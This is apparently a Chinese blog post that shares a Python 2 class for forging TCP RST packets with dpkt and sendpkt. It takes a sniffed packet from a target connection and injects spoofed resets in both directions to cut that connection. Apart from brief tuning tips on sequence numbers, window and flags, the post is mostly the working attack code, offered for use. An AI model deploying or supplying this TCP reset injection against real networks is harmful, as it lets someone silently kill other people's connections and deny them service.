不想上网的时候 你可以py它
实现发送RST阻断连接的类 前提是要传进来一个"伪"数据报当傀儡~ 最简单的就是你要RST的那个连接的包
dpkt & sendpkt真是无敌了 省了很多工作 有时候python这个风情万种的小语言真是魅惑死人了
key: seq/off_x2/win要好好设
ack=0 反正这样也行的通
sum=0 校验和交给sendpkt就万事大吉了 心怀叵测的我自己写了遍checksum 结果没用上~
对SYN/FIN/纯ACK最好都跳过
#!/bin/python
import dpkt,pcap,ctypes,sendpkt #,socket,struct,time
class Send_rst:
"""send rst packt"""
def __init__(self):
self.pdata=''
self.dev=''
def send_rst_pkt(self):
eth=dpkt.ethernet.Ethernet(self.pdata)
ip=eth.data
tcp=ip.data
if tcp.flags & dpkt.tcp.TH_SYN or tcp.flags & dpkt.tcp.TH_FIN:
return None
else:
if tcp.flags == dpkt.tcp.TH_ACK:
return None
else:
recv_tcp=dpkt.tcp.TCP(
sport=tcp.sport,
dport=tcp.dport,
seq=tcp.seq+len(tcp.data),
# ack=tcp.ack,
ack=0,
off_x2=0x50,
flags=dpkt.tcp.TH_RST, #|dpkt.tcp.TH_ACK,
win=tcp.win, #0,
sum=0,
urp=0)
recv_ip=dpkt.ip.IP(
v_hl=ip.v_hl,
tos=ip.tos, #0
len=40,
# id=time.time()%65536,
id=ip.id+1,
off=0x4000, #ip.off
ttl=128,
p=ip.p,
sum=0,
src=ip.src,
dst=ip.dst,
data=recv_tcp)
recv_eth=dpkt.ethernet.Ethernet(
dst=eth.dst,
src=eth.src,
type=eth.type,
data=recv_ip)
sendpkt.sendpacket(str(recv_eth),self.dev)
tmp=ip.src
ip.src=ip.dst
ip.dst=tmp
send_tcp=dpkt.tcp.TCP(
sport=tcp.dport,
dport=tcp.sport,
seq=tcp.ack,
ack=tcp.seq+len(tcp.data),
# ack=0,
# seq=0,
# ack=tcp.seq+1,
off_x2=0x50,
flags=dpkt.tcp.TH_RST, #|dpkt.tcp.TH_ACK,
win=tcp.win, #0,
sum=0,
urp=0)
send_ip=dpkt.ip.IP(
v_hl=ip.v_hl,
tos=ip.tos, #0
len=40,
# id=time.time()%65536,
id=ip.id+1,
off=0x4000, #ip.off,
ttl=128,
p=ip.p,
sum=0,
src=ip.src,
dst=ip.dst,
data=send_tcp)
send_eth=dpkt.ethernet.Ethernet(
dst=eth.src,
src=eth.dst,
type=eth.type,
data=send_ip)
sendpkt.sendpacket(str(send_eth),self.dev)
print 'send over~'
阅读(1494) | 评论(0) | 转发(0) |